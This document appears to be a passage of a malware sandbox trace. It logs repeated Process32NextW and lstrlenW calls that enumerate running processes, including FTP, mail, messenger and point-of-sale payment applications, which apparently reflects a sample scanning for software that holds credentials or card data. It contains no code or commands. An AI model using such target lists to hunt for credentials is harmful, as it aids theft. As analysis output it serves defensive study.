	[0086.263] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0086.263] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0086.263] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0086.264] lstrlenW (lpString="Memory Compression") returned 18
	[0086.264] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0086.264] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0086.264] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0086.265] lstrlenW (lpString="SearchUI.exe") returned 12
	[0086.265] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0086.265] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0086.265] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0086.266] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0086.266] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0086.267] lstrlenW (lpString="fur-hold.exe") returned 12
	[0086.267] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0086.267] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0086.267] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0086.268] lstrlenW (lpString="vat.exe") returned 7
	[0086.268] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0086.268] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0086.268] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0086.269] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0086.269] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0086.269] lstrlenW (lpString="paxiltried.exe") returned 14
	[0086.269] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0086.270] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0086.270] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0086.270] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0086.271] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0086.271] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0086.271] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0086.272] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0086.272] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0086.272] lstrlenW (lpString="ride_australian.exe") returned 19
	[0086.272] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0086.273] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0086.273] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0086.273] lstrlenW (lpString="rc remember.exe") returned 15
	[0086.274] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0086.274] lstrlenW (lpString="records replace.exe") returned 19
	[0086.274] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0086.275] lstrlenW (lpString="isp physiology.exe") returned 18
	[0086.275] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0086.275] lstrlenW (lpString="feb.exe") returned 7
	[0086.275] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0086.276] lstrlenW (lpString="citizenship.exe") returned 15
	[0086.276] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0086.276] lstrlenW (lpString="wifi.exe") returned 8
	[0086.276] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0086.277] lstrlenW (lpString="3dftp.exe") returned 9
	[0086.277] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0086.516] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0086.516] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0086.517] lstrlenW (lpString="alftp.exe") returned 9
	[0086.517] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0086.518] lstrlenW (lpString="barca.exe") returned 9
	[0086.518] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0086.519] lstrlenW (lpString="bitkinex.exe") returned 12
	[0086.519] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0086.520] lstrlenW (lpString="coreftp.exe") returned 11
	[0086.520] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0086.521] lstrlenW (lpString="far.exe") returned 7
	[0086.521] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0086.522] lstrlenW (lpString="filezilla.exe") returned 13
	[0086.522] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0086.523] lstrlenW (lpString="flashfxp.exe") returned 12
	[0086.523] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0086.524] lstrlenW (lpString="fling.exe") returned 9
	[0086.524] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0086.525] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0086.525] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0086.526] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0086.526] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0086.527] lstrlenW (lpString="icq.exe") returned 7
	[0086.527] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0086.528] lstrlenW (lpString="leechftp.exe") returned 12
	[0086.528] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0086.529] lstrlenW (lpString="ncftp.exe") returned 9
	[0086.529] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0086.530] lstrlenW (lpString="notepad.exe") returned 11
	[0086.530] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0086.531] lstrlenW (lpString="operamail.exe") returned 13
	[0086.531] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0086.532] lstrlenW (lpString="pidgin.exe") returned 10
	[0086.532] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0086.533] lstrlenW (lpString="scriptftp.exe") returned 13
	[0086.533] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0086.534] lstrlenW (lpString="skype.exe") returned 9
	[0086.534] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0086.535] lstrlenW (lpString="smartftp.exe") returned 12
	[0086.535] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0086.536] lstrlenW (lpString="thunderbird.exe") returned 15
	[0086.536] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0086.537] lstrlenW (lpString="totalcmd.exe") returned 12
	[0086.537] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0086.538] lstrlenW (lpString="trillian.exe") returned 12
	[0086.538] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0086.539] lstrlenW (lpString="webdrive.exe") returned 12
	[0086.539] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0086.540] lstrlenW (lpString="whatsapp.exe") returned 12
	[0086.540] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0086.541] lstrlenW (lpString="winscp.exe") returned 10
	[0086.541] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0086.542] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0086.542] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0086.542] lstrlenW (lpString="active-charge.exe") returned 17
	[0086.543] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0086.543] lstrlenW (lpString="accupos.exe") returned 11
	[0086.543] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0086.544] lstrlenW (lpString="afr38.exe") returned 9
	[0086.544] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0086.545] lstrlenW (lpString="aldelo.exe") returned 10
	[0086.545] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0086.546] lstrlenW (lpString="ccv_server.exe") returned 14
	[0086.546] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0086.547] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0086.547] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0086.547] lstrlenW (lpString="creditservice.exe") returned 17
	[0086.548] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0086.579] lstrlenW (lpString="edcsvr.exe") returned 10
	[0086.579] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0086.580] lstrlenW (lpString="fpos.exe") returned 8
	[0086.580] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0086.581] lstrlenW (lpString="isspos.exe") returned 10
	[0086.581] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0086.581] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0086.581] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0086.582] lstrlenW (lpString="omnipos.exe") returned 11
	[0086.582] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0086.583] lstrlenW (lpString="spcwin.exe") returned 10
	[0086.583] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0086.584] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0086.584] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0086.585] lstrlenW (lpString="utg2.exe") returned 8
	[0086.585] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0086.586] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0086.586] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0086.587] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0086.587] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0086.587] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
